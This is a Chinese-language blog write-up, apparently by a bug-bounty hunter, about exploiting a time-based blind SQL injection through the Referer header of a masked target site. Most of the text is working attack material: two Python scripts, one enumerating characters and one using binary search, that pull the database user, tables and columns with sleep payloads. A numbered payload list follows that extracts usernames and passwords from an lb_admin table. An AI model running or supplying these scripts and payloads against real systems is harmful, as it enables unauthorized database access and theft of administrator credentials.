一直以来，都想摆脱sqlmap的束缚，通过自定义脚本来完成，–前言
某月某天，挖盒子过程中，burpsuite扫出某个sqli，花了点时间测了下，确实有些搞头。
是一个from子查询payload，select*from(select sleep(10))a ,from会把后面的结果（在这里是子查询）当作单表来查询，
发包后，burpsuite返回包1154millls，存在sql注入，，不知道有多久没手工注入了，放sqlmap看能不能跑点数据出来
如图，referer注入设置level 3 ，time-base设置 technique T，跑不出注入点，欸，失望
明明有个注入点，就相当撕开了一个缺口，但迟迟找不到工具，一个人的孤独，一个人的渗透
找了位盆友，写了个枚举盲注，，
# -*- coding: utf-8 -*-
import requests,time
url="https://aBC.com.cn/aa/15432aa.html"
result=""
for i in range(1,50):
for j in range(32,128):
headers={"Referer":"https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))={},sleep(5),0)+'".format(i,j),
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Host":"https://aBC.com.cn/aa/15432aa.html"
}
st=time.time()
requests.get(url,headers=headers)
if time.time()-st >=5:
result+=chr(j)
print('database user name:',result)
break
else:
pass
本以为可以直接跑数据，但拿到脚本后，频繁地爆format错误，耽搁了两天后，吧format放到referer:"".format这个格式可以正常跑，，
准备了两个探测payload: user()、database()
DBA权限
库名
到这里为止，，做得都是很肤浅的注入，
sql注入永远需要跑跑出字段和表才算一次比较合格的渗透，而上面这个脚本跑个库名就跑了5分钟，这里网上收集了某二分法，
枚举的思路就是：
for i in range(1,50):
for j in range(32,128):
if(ascii(substr(user(),{i},1))={j},sleep(5),0) 通过枚举j的值，从32到128，直到枚举到128才进行下一轮
二分法的思路就是在j的区间做处理，减少j的取值，
low=32，high=128，mid=80，user(),{i},1通过比较是否小于80，具体缩小到某个小区间内。。
# -*- coding:utf-8 -*-
import requests,time
from requests import exceptions
url="https://aBC.com.cn/aa/15432aa.html"
def main():
result=""
for i in range(1, 20):
low = 32
high = 128
#1111
while low < high:
mid = int((low + high) / 2)
#content = "user()"
#sql = "https://https://aBC.com.cn/aa/'+if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0)+'"
headers={"Referer":"https://https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))<{},sleep(5),0)+'".format(i,mid),
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Host":"https://aBC.com.cn/aa/"
}
st=time.time()
requests.get(url,headers=headers)
#2222
if time.time()-st >5:
high = mid
else:
low = mid + 1
print("low value {} and high value {}".format(low,high))
#3333
#跑出结果后，值的处理
if low == high == 32:
print("[*] Result is: {}".format(result))
break
result += chr(int((high + low - 1) / 2))
print("database user :{}".format(result))
if __name__ == '__main__':
main()
大概就这样，本来需要跑160次请求减少到只有4-5次，而且提高盲注率，，这样就有了跑表和字段的资本。。
，那么跑字段的话，这里已经花了点小心思收集好了payload
01.payload=user()获取数据库用户名
02.payload=database()获取数据库名
03(select table_name from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库的表
04.(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库表的个数
05.payload=(select count(column_name) from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段个数
06.payload=(select column_name from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段名
07.payload=(select a_password from lb_admin limit 0,1),{},1))<{} 获取a_password第一个字段内容
08.payload=(select a_password from lb_admin limit 1,1),{},1))<{} 获取a_password第二个字段内容
获取DBA
获取表名
获取表中的列
获取表中第二个列名
第三个列名password，
获取a_username列字段内容
获取a_password列字段内容
所以说，敢做就敢赢–《我是谁，“没有绝对安全的系统”》
这里有些经验：
爆表和字段，当前最需要的是payload，mysql的时间盲注每个人有很多理解，每个人写的内容也不一样，，
所以说，这样来搜索‘select table_name from information_schema.tables where table_schema=database() limit 0,1’，搜索引擎会返回收录的payload文章